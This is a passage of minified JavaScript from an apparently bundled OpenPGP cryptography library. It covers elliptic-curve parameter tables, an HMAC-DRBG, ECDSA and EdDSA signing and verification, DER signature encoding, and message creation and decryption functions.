ed954f1e3ce3ff6","462f9bce619898638499350113bbc9b10a878d35da70740dc695a559eb88db7b"],["be2062003c51cc3004682904330e4dee7f3dcd10b01e580bf1971b04d4cad297","62188bc49d61e5428573d48a74e1c655b1c61090905682a0d5558ed72dccb9bc"],["93144423ace3451ed29e0fb9ac2af211cb6e84a601df5993c419859fff5df04a","7c10dfb164c3425f5c71a3f9d7992038f1065224f72bb9d1d902a6d13037b47c"],["b015f8044f5fcbdcf21ca26d6c34fb8197829205c7b7d2a7cb66418c157b112c","ab8c1e086d04e813744a655b2df8d5f83b3cdc6faa3088c1d3aea1454e3a1d5f"],["d5e9e1da649d97d89e4868117a465a3a4f8a18de57a140d36b3f2af341a21b52","4cb04437f391ed73111a13cc1d4dd0db1693465c2240480d8955e8592f27447a"],["d3ae41047dd7ca065dbf8ed77b992439983005cd72e16d6f996a5316d36966bb","bd1aeb21ad22ebb22a10f0303417c6d964f8cdd7df0aca614b10dc14d125ac46"],["463e2763d885f958fc66cdd22800f0a487197d0a82e377b49f80af87c897b065","bfefacdb0e5d0fd7df3a311a94de062b26b80c61fbc97508b79992671ef7ca7f"],["7985fdfd127c0567c6f53ec1bb63ec3158e597c40bfe747c83cddfc910641917","603c12daf3d9862ef2b25fe1de289aed24ed291e0ec6708703a5bd567f32ed03"],["74a1ad6b5f76e39db2dd249410eac7f99e74c59cb83d2d0ed5ff1543da7703e9","cc6157ef18c9c63cd6193d83631bbea0093e0968942e8c33d5737fd790e0db08"],["30682a50703375f602d416664ba19b7fc9bab42c72747463a71d0896b22f6da3","553e04f6b018b4fa6c8f39e7f311d3176290d0e0f19ca73f17714d9977a22ff8"],["9e2158f0d7c0d5f26c3791efefa79597654e7a2b2464f52b1ee6c1347769ef57","712fcdd1b9053f09003a3481fa7762e9ffd7c8ef35a38509e2fbf2629008373"],["176e26989a43c9cfeba4029c202538c28172e566e3c4fce7322857f3be327d66","ed8cc9d04b29eb877d270b4878dc43c19aefd31f4eee09ee7b47834c1fa4b1c3"],["75d46efea3771e6e68abb89a13ad747ecf1892393dfc4f1b7004788c50374da8","9852390a99507679fd0b86fd2b39a868d7efc22151346e1a3ca4726586a6bed8"],["809a20c67d64900ffb698c4c825f6d5f2310fb0451c869345b7319f645605721","9e994980d9917e22b76b061927fa04143d096ccc54963e6a5ebfa5f3f8e286c1"],["1b38903a43f7f114ed4500b4eac7083fdefece1cf29c63528d563446f972c180","4036edc931a60ae889353f77fd53de4a2708b26b6f5da72ad3394119daf408f9"]]}},vl=tt((function(e,t){var r,i=t,n=zf.assert;function a(e){if("short"===e.type)this.curve=new sl.short(e);else if("edwards"===e.type)this.curve=new sl.edwards(e);else{if("mont"!==e.type)throw Error("Unknown curve type.");this.curve=new sl.mont(e)}this.g=this.curve.g,this.n=this.curve.n,this.hash=e.hash,n(this.g.validate(),"Invalid curve"),n(this.g.mul(this.n).isInfinity(),"Invalid curve, n*G != O")}function s(e,t){Object.defineProperty(i,e,{configurable:!0,enumerable:!0,get:function(){var r=new a(t);return Object.defineProperty(i,e,{configurable:!0,enumerable:!0,value:r}),r}})}i.PresetCurve=a,s("p192",{type:"short",prime:"p192",p:"ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff",a:"ffffffff ffffffff ffffffff fffffffe ffffffff fffffffc",b:"64210519 e59c80e7 0fa7e9ab 72243049 feb8deec c146b9b1",n:"ffffffff ffffffff ffffffff 99def836 146bc9b1 b4d22831",hash:gl.sha256,gRed:!1,g:["188da80e b03090f6 7cbf20eb 43a18800 f4ff0afd 82ff1012","07192b95 ffc8da78 631011ed 6b24cdd5 73f977a1 1e794811"]}),s("p224",{type:"short",prime:"p224",p:"ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001",a:"ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff fffffffe",b:"b4050a85 0c04b3ab f5413256 5044b0b7 d7bfd8ba 270b3943 2355ffb4",n:"ffffffff ffffffff ffffffff ffff16a2 e0b8f03e 13dd2945 5c5c2a3d",hash:gl.sha256,gRed:!1,g:["b70e0cbd 6bb4bf7f 321390b9 4a03c1d3 56c21122 343280d6 115c1d21","bd376388 b5f723fb 4c22dfe6 cd4375a0 5a074764 44d58199 85007e34"]}),s("p256",{type:"short",prime:null,p:"ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff ffffffff",a:"ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff fffffffc",b:"5ac635d8 aa3a93e7 b3ebbd55 769886bc 651d06b0 cc53b0f6 3bce3c3e 27d2604b",n:"ffffffff 00000000 ffffffff ffffffff bce6faad a7179e84 f3b9cac2 fc632551",hash:gl.sha256,gRed:!1,g:["6b17d1f2 e12c4247 f8bce6e5 63a440f2 77037d81 2deb33a0 f4a13945 d898c296","4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16 2bce3357 6b315ece cbb64068 37bf51f5"]}),s("p384",{type:"short",prime:null,p:"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 ffffffff",a:"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 fffffffc",b:"b3312fa7 e23ee7e4 988e056b e3f82d19 181d9c6e fe814112 0314088f 5013875a c656398d 8a2ed19d 2a85c8ed d3ec2aef",n:"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff c7634d81 f4372ddf 581a0db2 48b0a77a ecec196a ccc52973",hash:gl.sha384,gRed:!1,g:["aa87ca22 be8b0537 8eb1c71e f320ad74 6e1d3b62 8ba79b98 59f741e0 82542a38 5502f25d bf55296c 3a545e38 72760ab7","3617de4a 96262c6f 5d9e98bf 9292dc29 f8f41dbd 289a147c e9da3113 b5f0b8c0 0a60b1ce 1d7e819d 7a431d7c 90ea0e5f"]}),s("p521",{type:"short",prime:null,p:"000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff",a:"000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffc",b:"00000051 953eb961 8e1c9a1f 929a21a0 b68540ee a2da725b 99b315f3 b8b48991 8ef109e1 56193951 ec7e937b 1652c0bd 3bb1bf07 3573df88 3d2c34f1 ef451fd4 6b503f00",n:"000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffa 51868783 bf2f966b 7fcc0148 f709a5d0 3bb5c9b8 899c47ae bb6fb71e 91386409",hash:gl.sha512,gRed:!1,g:["000000c6 858e06b7 0404e9cd 9e3ecb66 2395b442 9c648139 053fb521 f828af60 6b4d3dba a14b5e77 efe75928 fe1dc127 a2ffa8de 3348b3c1 856a429b f97e7e31 c2e5bd66","00000118 39296a78 9a3bc004 5c8a5fb4 2c7d1bd9 98f54449 579b4468 17afbd17 273e662c 97ee7299 5ef42640 c550b901 3fad0761 353c7086 a272c240 88be9476 9fd16650"]}),s("curve25519",{type:"mont",prime:"p25519",p:"7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed",a:"76d06",b:"1",n:"1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed",cofactor:"8",hash:gl.sha256,gRed:!1,g:["9"]}),s("ed25519",{type:"edwards",prime:"p25519",p:"7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed",a:"-1",c:"1",d:"52036cee2b6ffe73 8cc740797779e898 00700a4d4141d8ab 75eb4dca135978a3",n:"1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed",cofactor:"8",hash:gl.sha256,gRed:!1,g:["216936d3cd6e53fec0a4e231fdd6dc5c692cc7609525a7b2c9562d608f25d51a","6666666666666666666666666666666666666666666666666666666666666658"]}),s("brainpoolP256r1",{type:"short",prime:null,p:"A9FB57DB A1EEA9BC 3E660A90 9D838D72 6E3BF623 D5262028 2013481D 1F6E5377",a:"7D5A0975 FC2C3057 EEF67530 417AFFE7 FB8055C1 26DC5C6C E94A4B44 F330B5D9",b:"26DC5C6C E94A4B44 F330B5D9 BBD77CBF 95841629 5CF7E1CE 6BCCDC18 FF8C07B6",n:"A9FB57DB A1EEA9BC 3E660A90 9D838D71 8C397AA3 B561A6F7 901E0E82 974856A7",hash:gl.sha256,gRed:!1,g:["8BD2AEB9CB7E57CB2C4B482FFC81B7AFB9DE27E1E3BD23C23A4453BD9ACE3262","547EF835C3DAC4FD97F8461A14611DC9C27745132DED8E545C1D54C72F046997"]}),s("brainpoolP384r1",{type:"short",prime:null,p:"8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B4 12B1DA19 7FB71123ACD3A729 901D1A71 87470013 3107EC53",a:"7BC382C6 3D8C150C 3C72080A CE05AFA0 C2BEA28E 4FB22787 139165EF BA91F90F8AA5814A 503AD4EB 04A8C7DD 22CE2826",b:"04A8C7DD 22CE2826 8B39B554 16F0447C 2FB77DE1 07DCD2A6 2E880EA5 3EEB62D57CB43902 95DBC994 3AB78696 FA504C11",n:"8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B3 1F166E6C AC0425A7CF3AB6AF 6B7FC310 3B883202 E9046565",hash:gl.sha384,gRed:!1,g:["1D1C64F068CF45FFA2A63A81B7C13F6B8847A3E77EF14FE3DB7FCAFE0CBD10E8E826E03436D646AAEF87B2E247D4AF1E","8ABE1D7520F9C2A45CB1EB8E95CFD55262B70B29FEEC5864E19C054FF99129280E4646217791811142820341263C5315"]}),s("brainpoolP512r1",{type:"short",prime:null,p:"AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E D6639CCA 703308717D4D9B00 9BC66842 AECDA12A E6A380E6 2881FF2F 2D82C685 28AA6056 583A48F3",a:"7830A331 8B603B89 E2327145 AC234CC5 94CBDD8D 3DF91610 A83441CA EA9863BC2DED5D5A A8253AA1 0A2EF1C9 8B9AC8B5 7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA",b:"3DF91610 A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9 8B9AC8B5 7F1117A72BF2C7B9 E7C1AC4D 77FC94CA DC083E67 984050B7 5EBAE5DD 2809BD63 8016F723",n:"AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E D6639CCA 70330870553E5C41 4CA92619 41866119 7FAC1047 1DB1D381 085DDADD B5879682 9CA90069",hash:gl.sha512,gRed:!1,g:["81AEE4BDD82ED9645A21322E9C4C6A9385ED9F70B5D916C1B43B62EEF4D0098EFF3B1F78E2D0D48D50D1687B93B97D5F7C6D5047406A5E688B352209BCB9F822","7DDE385D566332ECC0EABFA9CF7822FDF209F70024A57B1AA000C55B881F8111B2DCDE494A5F485E5BCA4BD88A2763AED1CA2B2FA8F0540678CD1E0F3AD80892"]});try{r=wl}catch(e){r=void 0}s("secp256k1",{type:"short",prime:"k256",p:"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f",a:"0",b:"7",n:"ffffffff ffffffff ffffffff fffffffe baaedce6 af48a03b bfd25e8c d0364141",h:"1",hash:gl.sha256,beta:"7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee",lambda:"5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72",basis:[{a:"3086d221a7d46bcde86c90e49284eb15",b:"-e4437ed6010e88286f547fa90abfe4c3"},{a:"114ca50f7a8e2f3f657c1108d9d44cfd8",b:"3086d221a7d46bcde86c90e49284eb15"}],gRed:!1,g:["79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798","483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8",r]})}));function _l(e){if(!(this instanceof _l))return new _l(e);this.hash=e.hash,this.predResist=!!e.predResist,this.outLen=this.hash.outSize,this.minEntropy=e.minEntropy||this.hash.hmacStrength,this._reseed=null,this.reseedInterval=null,this.K=null,this.V=null;var t=Tf.toArray(e.entropy,e.entropyEnc||"hex"),r=Tf.toArray(e.nonce,e.nonceEnc||"hex"),i=Tf.toArray(e.pers,e.persEnc||"hex");Qe(t.length>=this.minEntropy/8,"Not enough entropy. Minimum is: "+this.minEntropy+" bits"),this._init(t,r,i)}var kl=_l;_l.prototype._init=function(e,t,r){var i=e.concat(t).concat(r);this.K=Array(this.outLen/8),this.V=Array(this.outLen/8);for(var n=0;n<this.V.length;n++)this.K[n]=0,this.V[n]=1;this._update(i),this._reseed=1,this.reseedInterval=281474976710656},_l.prototype._hmac=function(){return new gl.hmac(this.hash,this.K)},_l.prototype._update=function(e){var t=this._hmac().update(this.V).update([0]);e&&(t=t.update(e)),this.K=t.digest(),this.V=this._hmac().update(this.V).digest(),e&&(this.K=this._hmac().update(this.V).update([1]).update(e).digest(),this.V=this._hmac().update(this.V).digest())},_l.prototype.reseed=function(e,t,r,i){"string"!=typeof t&&(i=r,r=t,t=null),e=Tf.toArray(e,t),r=Tf.toArray(r,i),Qe(e.length>=this.minEntropy/8,"Not enough entropy. Minimum is: "+this.minEntropy+" bits"),this._update(e.concat(r||[])),this._reseed=1},_l.prototype.generate=function(e,t,r,i){if(this._reseed>this.reseedInterval)throw Error("Reseed is required");"string"!=typeof t&&(i=r,r=t,t=null),r&&(r=Tf.toArray(r,i||"hex"),this._update(r));for(var n=[];n.length<e;)this.V=this._hmac().update(this.V).digest(),n=n.concat(this.V);var a=n.slice(0,e);return this._update(r),this._reseed++,Tf.encode(a,t)};var Al=zf.assert;function Sl(e,t){this.ec=e,this.priv=null,this.pub=null,t.priv&&this._importPrivate(t.priv,t.privEnc),t.pub&&this._importPublic(t.pub,t.pubEnc)}var El=Sl;Sl.fromPublic=function(e,t,r){return t instanceof Sl?t:new Sl(e,{pub:t,pubEnc:r})},Sl.fromPrivate=function(e,t,r){return t instanceof Sl?t:new Sl(e,{priv:t,privEnc:r})},Sl.prototype.validate=function(){var e=this.getPublic();return e.isInfinity()?{result:!1,reason:"Invalid public key"}:e.validate()?e.mul(this.ec.curve.n).isInfinity()?{result:!0,reason:null}:{result:!1,reason:"Public key * N != O"}:{result:!1,reason:"Public key is not a point"}},Sl.prototype.getPublic=function(e,t){return this.pub||(this.pub=this.ec.g.mul(this.priv)),e?this.pub.encode(e,t):this.pub},Sl.prototype.getPrivate=function(e){return"hex"===e?this.priv.toString(16,2):this.priv},Sl.prototype._importPrivate=function(e,t){if(this.priv=new Df(e,t||16),"mont"===this.ec.curve.type){var r=this.ec.curve.one,i=r.ushln(252).sub(r).ushln(3);this.priv=this.priv.or(r.ushln(254)),this.priv=this.priv.and(i)}else this.priv=this.priv.umod(this.ec.curve.n)},Sl.prototype._importPublic=function(e,t){if(e.x||e.y)return"mont"===this.ec.curve.type?Al(e.x,"Need x coordinate"):"short"!==this.ec.curve.type&&"edwards"!==this.ec.curve.type||Al(e.x&&e.y,"Need both x and y coordinate"),void(this.pub=this.ec.curve.point(e.x,e.y));this.pub=this.ec.curve.decodePoint(e,t)},Sl.prototype.derive=function(e){return e.mul(this.priv).getX()},Sl.prototype.sign=function(e,t,r){return this.ec.sign(e,this,t,r)},Sl.prototype.verify=function(e,t){return this.ec.verify(e,t,this)},Sl.prototype.inspect=function(){return"<Key priv: "+(this.priv&&this.priv.toString(16,2))+" pub: "+(this.pub&&this.pub.inspect())+" >"};var Pl=zf.assert;function xl(e,t){if(e instanceof xl)return e;this._importDER(e,t)||(Pl(e.r&&e.s,"Signature without r or s"),this.r=new Df(e.r,16),this.s=new Df(e.s,16),void 0===e.recoveryParam?this.recoveryParam=null:this.recoveryParam=e.recoveryParam)}var Ml=xl;function Cl(){this.place=0}function Kl(e,t){var r=e[t.place++];if(!(128&r))return r;for(var i=15&r,n=0,a=0,s=t.place;a<i;a++,s++)n<<=8,n|=e[s];return t.place=s,n}function Dl(e){for(var t=0,r=e.length-1;!e[t]&&!(128&e[t+1])&&t<r;)t++;return 0===t?e:e.slice(t)}function Rl(e,t){if(t<128)e.push(t);else{var r=1+(Math.log(t)/Math.LN2>>>3);for(e.push(128|r);--r;)e.push(t>>>(r<<3)&255);e.push(t)}}xl.prototype._importDER=function(e,t){e=zf.toArray(e,t);var r=new Cl;if(48!==e[r.place++])return!1;if(Kl(e,r)+r.place!==e.length)return!1;if(2!==e[r.place++])return!1;var i=Kl(e,r),n=e.slice(r.place,i+r.place);if(r.place+=i,2!==e[r.place++])return!1;var a=Kl(e,r);if(e.length!==a+r.place)return!1;var s=e.slice(r.place,a+r.place);return 0===n[0]&&128&n[1]&&(n=n.slice(1)),0===s[0]&&128&s[1]&&(s=s.slice(1)),this.r=new Df(n),this.s=new Df(s),this.recoveryParam=null,!0},xl.prototype.toDER=function(e){var t=this.r.toArray(),r=this.s.toArray();for(128&t[0]&&(t=[0].concat(t)),128&r[0]&&(r=[0].concat(r)),t=Dl(t),r=Dl(r);!(r[0]||128&r[1]);)r=r.slice(1);var i=[2];Rl(i,t.length),(i=i.concat(t)).push(2),Rl(i,r.length);var n=i.concat(r),a=[48];return Rl(a,n.length),a=a.concat(n),zf.encode(a,e)};var Il=zf.assert;function Ul(e){if(!(this instanceof Ul))return new Ul(e);"string"==typeof e&&(Il(vl.hasOwnProperty(e),"Unknown curve "+e),e=vl[e]),e instanceof vl.PresetCurve&&(e={curve:e}),this.curve=e.curve.curve,this.n=this.curve.n,this.nh=this.n.ushrn(1),this.g=this.curve.g,this.g=e.curve.g,this.g.precompute(e.curve.n.bitLength()+1),this.hash=e.hash||e.curve.hash}var Bl=Ul;Ul.prototype.keyPair=function(e){return new El(this,e)},Ul.prototype.keyFromPrivate=function(e,t){return El.fromPrivate(this,e,t)},Ul.prototype.keyFromPublic=function(e,t){return El.fromPublic(this,e,t)},Ul.prototype.genKeyPair=function(e){e||(e={});var t=new kl({hash:this.hash,pers:e.pers,persEnc:e.persEnc||"utf8",entropy:e.entropy||qf(this.hash.hmacStrength),entropyEnc:e.entropy&&e.entropyEnc||"utf8",nonce:this.n.toArray()});if("mont"===this.curve.type){var r=new Df(t.generate(32));return this.keyFromPrivate(r)}for(var i=this.n.byteLength(),n=this.n.sub(new Df(2));;){if(!((r=new Df(t.generate(i))).cmp(n)>0))return r.iaddn(1),this.keyFromPrivate(r)}},Ul.prototype._truncateToN=function(e,t,r){var i=(r=r||8*e.byteLength())-this.n.bitLength();return i>0&&(e=e.ushrn(i)),!t&&e.cmp(this.n)>=0?e.sub(this.n):e},Ul.prototype.truncateMsg=function(e){var t;return e instanceof Uint8Array?(t=8*e.byteLength,e=this._truncateToN(new Df(e,16),!1,t)):"string"==typeof e?(t=4*e.length,e=this._truncateToN(new Df(e,16),!1,t)):e=this._truncateToN(new Df(e,16)),e},Ul.prototype.sign=function(e,t,r,i){"object"==typeof r&&(i=r,r=null),i||(i={}),t=this.keyFromPrivate(t,r),e=this.truncateMsg(e);for(var n=this.n.byteLength(),a=t.getPrivate().toArray("be",n),s=e.toArray("be",n),o=new kl({hash:this.hash,entropy:a,nonce:s,pers:i.pers,persEnc:i.persEnc||"utf8"}),c=this.n.sub(new Df(1)),u=0;;u++){var h=i.k?i.k(u):new Df(o.generate(this.n.byteLength()));if(!((h=this._truncateToN(h,!0)).cmpn(1)<=0||h.cmp(c)>=0)){var d=this.g.mul(h);if(!d.isInfinity()){var f=d.getX(),l=f.umod(this.n);if(0!==l.cmpn(0)){var p=h.invm(this.n).mul(l.mul(t.getPrivate()).iadd(e));if(0!==(p=p.umod(this.n)).cmpn(0)){var y=(d.getY().isOdd()?1:0)|(0!==f.cmp(l)?2:0);return i.canonical&&p.cmp(this.nh)>0&&(p=this.n.sub(p),y^=1),new Ml({r:l,s:p,recoveryParam:y})}}}}}},Ul.prototype.verify=function(e,t,r,i){return r=this.keyFromPublic(r,i),t=new Ml(t,"hex"),this._verify(this.truncateMsg(e),t,r)||this._verify(this._truncateToN(new Df(e,16)),t,r)},Ul.prototype._verify=function(e,t,r){var i=t.r,n=t.s;if(i.cmpn(1)<0||i.cmp(this.n)>=0)return!1;if(n.cmpn(1)<0||n.cmp(this.n)>=0)return!1;var a,s=n.invm(this.n),o=s.mul(e).umod(this.n),c=s.mul(i).umod(this.n);return this.curve._maxwellTrick?!(a=this.g.jmulAdd(o,r.getPublic(),c)).isInfinity()&&a.eqXToP(i):!(a=this.g.mulAdd(o,r.getPublic(),c)).isInfinity()&&0===a.getX().umod(this.n).cmp(i)},Ul.prototype.recoverPubKey=function(e,t,r,i){Il((3&r)===r,"The recovery param is more than two bits"),t=new Ml(t,i);var n=this.n,a=new Df(e),s=t.r,o=t.s,c=1&r,u=r>>1;if(s.cmp(this.curve.p.umod(this.curve.n))>=0&&u)throw Error("Unable to find sencond key candinate");s=u?this.curve.pointFromX(s.add(this.curve.n),c):this.curve.pointFromX(s,c);var h=t.r.invm(n),d=n.sub(a).mul(h).umod(n),f=o.mul(h).umod(n);return this.g.mulAdd(d,s,f)},Ul.prototype.getKeyRecoveryParam=function(e,t,r,i){if(null!==(t=new Ml(t,i)).recoveryParam)return t.recoveryParam;for(var n=0;n<4;n++){var a;try{a=this.recoverPubKey(e,t,n)}catch(e){continue}if(a.eq(r))return n}throw Error("Unable to find valid recovery factor")};var Tl=zf.assert,zl=zf.parseBytes,ql=zf.cachedProperty;function Ol(e,t){if(this.eddsa=e,t.hasOwnProperty("secret")&&(this._secret=zl(t.secret)),e.isPoint(t.pub))this._pub=t.pub;else if(this._pubBytes=zl(t.pub),this._pubBytes&&33===this._pubBytes.length&&64===this._pubBytes[0]&&(this._pubBytes=this._pubBytes.slice(1,33)),this._pubBytes&&32!==this._pubBytes.length)throw Error("Unknown point compression format")}Ol.fromPublic=function(e,t){return t instanceof Ol?t:new Ol(e,{pub:t})},Ol.fromSecret=function(e,t){return t instanceof Ol?t:new Ol(e,{secret:t})},Ol.prototype.secret=function(){return this._secret},ql(Ol,"pubBytes",(function(){return this.eddsa.encodePoint(this.pub())})),ql(Ol,"pub",(function(){return this._pubBytes?this.eddsa.decodePoint(this._pubBytes):this.eddsa.g.mul(this.priv())})),ql(Ol,"privBytes",(function(){var e=this.eddsa,t=this.hash(),r=e.encodingLength-1,i=t.slice(0,e.encodingLength);return i[0]&=248,i[r]&=127,i[r]|=64,i})),ql(Ol,"priv",(function(){return this.eddsa.decodeInt(this.privBytes())})),ql(Ol,"hash",(function(){return this.eddsa.hash().update(this.secret()).digest()})),ql(Ol,"messagePrefix",(function(){return this.hash().slice(this.eddsa.encodingLength)})),Ol.prototype.sign=function(e){return Tl(this._secret,"KeyPair can only verify"),this.eddsa.sign(e,this)},Ol.prototype.verify=function(e,t){return this.eddsa.verify(e,t,this)},Ol.prototype.getSecret=function(e){return Tl(this._secret,"KeyPair is public only"),zf.encode(this.secret(),e)},Ol.prototype.getPublic=function(e,t){return zf.encode((t?[64]:[]).concat(this.pubBytes()),e)};var Fl=Ol,Nl=zf.assert,Ll=zf.cachedProperty,jl=zf.parseBytes;function Wl(e,t){this.eddsa=e,"object"!=typeof t&&(t=jl(t)),Array.isArray(t)&&(t={R:t.slice(0,e.encodingLength),S:t.slice(e.encodingLength)}),Nl(t.R&&t.S,"Signature without R or S"),e.isPoint(t.R)&&(this._R=t.R),t.S instanceof Df&&(this._S=t.S),this._Rencoded=Array.isArray(t.R)?t.R:t.Rencoded,this._Sencoded=Array.isArray(t.S)?t.S:t.Sencoded}Ll(Wl,"S",(function(){return this.eddsa.decodeInt(this.Sencoded())})),Ll(Wl,"R",(function(){return this.eddsa.decodePoint(this.Rencoded())})),Ll(Wl,"Rencoded",(function(){return this.eddsa.encodePoint(this.R())})),Ll(Wl,"Sencoded",(function(){return this.eddsa.encodeInt(this.S())})),Wl.prototype.toBytes=function(){return this.Rencoded().concat(this.Sencoded())},Wl.prototype.toHex=function(){return zf.encode(this.toBytes(),"hex").toUpperCase()};var Hl=Wl,Gl=zf.assert,Vl=zf.parseBytes;function $l(e){if(Gl("ed25519"===e,"only tested with ed25519 so far"),!(this instanceof $l))return new $l(e);e=vl[e].curve;this.curve=e,this.g=e.g,this.g.precompute(e.n.bitLength()+1),this.pointClass=e.point().constructor,this.encodingLength=Math.ceil(e.n.bitLength()/8),this.hash=gl.sha512}var Zl=$l;$l.prototype.sign=function(e,t){e=Vl(e);var r=this.keyFromSecret(t),i=this.hashInt(r.messagePrefix(),e),n=this.g.mul(i),a=this.encodePoint(n),s=this.hashInt(a,r.pubBytes(),e).mul(r.priv()),o=i.add(s).umod(this.curve.n);return this.makeSignature({R:n,S:o,Rencoded:a})},$l.prototype.verify=function(e,t,r){e=Vl(e),t=this.makeSignature(t);var i=this.keyFromPublic(r),n=this.hashInt(t.Rencoded(),i.pubBytes(),e),a=this.g.mul(t.S());return t.R().add(i.pub().mul(n)).eq(a)},$l.prototype.hashInt=function(){for(var e=this.hash(),t=0;t<arguments.length;t++)e.update(arguments[t]);return zf.intFromLE(e.digest()).umod(this.curve.n)},$l.prototype.keyPair=function(e){return new Fl(this,e)},$l.prototype.keyFromPublic=function(e){return Fl.fromPublic(this,e)},$l.prototype.keyFromSecret=function(e){return Fl.fromSecret(this,e)},$l.prototype.genKeyPair=function(e){e||(e={});var t=new kl({hash:this.hash,pers:e.pers,persEnc:e.persEnc||"utf8",entropy:e.entropy||qf(this.hash.hmacStrength),entropyEnc:e.entropy&&e.entropyEnc||"utf8",nonce:this.curve.n.toArray()});return this.keyFromSecret(t.generate(32))},$l.prototype.makeSignature=function(e){return e instanceof Hl?e:new Hl(this,e)},$l.prototype.encodePoint=function(e){var t=e.getY().toArray("le",this.encodingLength);return t[this.encodingLength-1]|=e.getX().isOdd()?128:0,t},$l.prototype.decodePoint=function(e){var t=(e=zf.parseBytes(e)).length-1,r=e.slice(0,t).concat(-129&e[t]),i=0!=(128&e[t]),n=zf.intFromLE(r);return this.curve.pointFromY(n,i)},$l.prototype.encodeInt=function(e){return e.toArray("le",this.encodingLength)},$l.prototype.decodeInt=function(e){return zf.intFromLE(e)},$l.prototype.isPoint=function(e){return e instanceof this.pointClass};var Yl=tt((function(e,t){var r=t;r.utils=zf,r.rand=qf,r.curve=sl,r.curves=vl,r.ec=Bl,r.eddsa=Zl})),Xl=/*#__PURE__*/Object.freeze({__proto__:null,default:Yl,__moduleExports:Yl});return e.AEADEncryptedDataPacket=So,e.CleartextMessage=gc,e.CompressedDataPacket=lo,e.LiteralDataPacket=Zs,e.MarkerPacket=class{static get tag(){return re.packet.marker}read(e){return 80===e[0]&&71===e[1]&&80===e[2]}write(){return new Uint8Array([80,71,80])}},e.Message=pc,e.OnePassSignaturePacket=co,e.PacketList=ho,e.PrivateKey=cc,e.PublicKey=oc,e.PublicKeyEncryptedSessionKeyPacket=Eo,e.PublicKeyPacket=Mo,e.PublicSubkeyPacket=Do,e.SecretKeyPacket=Io,e.SecretSubkeyPacket=zo,e.Signature=Oo,e.SignaturePacket=so,e.Subkey=ic,e.SymEncryptedIntegrityProtectedDataPacket=ko,e.SymEncryptedSessionKeyPacket=xo,e.SymmetricallyEncryptedDataPacket=Ko,e.TrustPacket=class{static get tag(){return re.packet.trust}read(){throw new io("Trust packets are not supported")}write(){throw new io("Trust packets are not supported")}},e.UserAttributePacket=Ro,e.UserIDPacket=To,e.armor=fe,e.config=ie,e.createCleartextMessage=async function({text:e,...t}){if(!e)throw Error("createCleartextMessage: must pass options object containing `text`");if(!V.isString(e))throw Error("createCleartextMessage: options.text must be a string");const r=Object.keys(t);if(r.length>0)throw Error("Unknown option: "+r.join(", "));return new gc(e)},e.createMessage=async function({text:e,binary:t,filename:r,date:i=new Date,format:n=(void 0!==e?"utf8":"binary"),...a}){let s=void 0!==e?e:t;if(void 0===s)throw Error("createMessage: must pass options object containing `text` or `binary`");if(e&&!V.isString(e)&&!V.isStream(e))throw Error("createMessage: options.text must be a string or stream");if(t&&!V.isUint8Array(t)&&!V.isStream(t))throw Error("createMessage: options.binary must be a Uint8Array or stream");const o=Object.keys(a);if(o.length>0)throw Error("Unknown option: "+o.join(", "));const c=V.isStream(s);c&&(await E(),s=x(s));const u=new Zs(i);void 0!==e?u.setText(s,n):u.setBytes(s,n),void 0!==r&&u.setFilename(r);const h=new ho;h.push(u);const d=new pc(h);return d.fromStream=c,d},e.decrypt=async function({message:e,decryptionKeys:t,passwords:r,sessionKeys:i,verificationKeys:n,expectSigned:a=!1,format:s="utf8",signature:o=null,date:c=new Date,config:u,...h}){if(Ac(u={...ie,...u}),wc(e),n=Sc(n),t=Sc(t),r=Sc(r),i=Sc(i),h.privateKeys)throw Error("The `privateKeys` option has been removed from openpgp.decrypt, pass `decryptionKeys` instead");if(h.publicKeys)throw Error("The `publicKeys` option has been removed from openpgp.decrypt, pass `verificationKeys` instead");const d=Object.keys(h);if(d.length>0)throw Error("Unknown option: "+d.join(", "));try{const h=await e.decrypt(t,r,i,c,u);n||(n=[]);const d={};if(d.signatures=o?await h.verifyDetached(o,n,c,u):await h.verify(n,c,u),d.data="binary"===s?h.getLiteralData():h.getText(),d.filename=h.getFilename(),Pc(d,e),a){if(0===n.length)throw Error("Verification keys are required to verify message signatures");if(0===d.signatures.length)throw Error("Message is not signed");d.data=C([d.data,W((async()=>{await V.anyPromise(d.signatures.map((e=>e.verified)))}))])}return d.data=await Ec(d.data,e.fromStream,s),d}catch(e){throw V.wrapError("Error decrypting message",e)}},e.decryptKey=async function({privateKey:e,passphrase:t,config:r,...i}){Ac(r={...ie,...r});const n=Object.keys(i);if(n.length>0)throw Error("Unknown option: "+n.join(", "));if(!e.isPrivate())throw Error("Cannot decrypt a public key");const 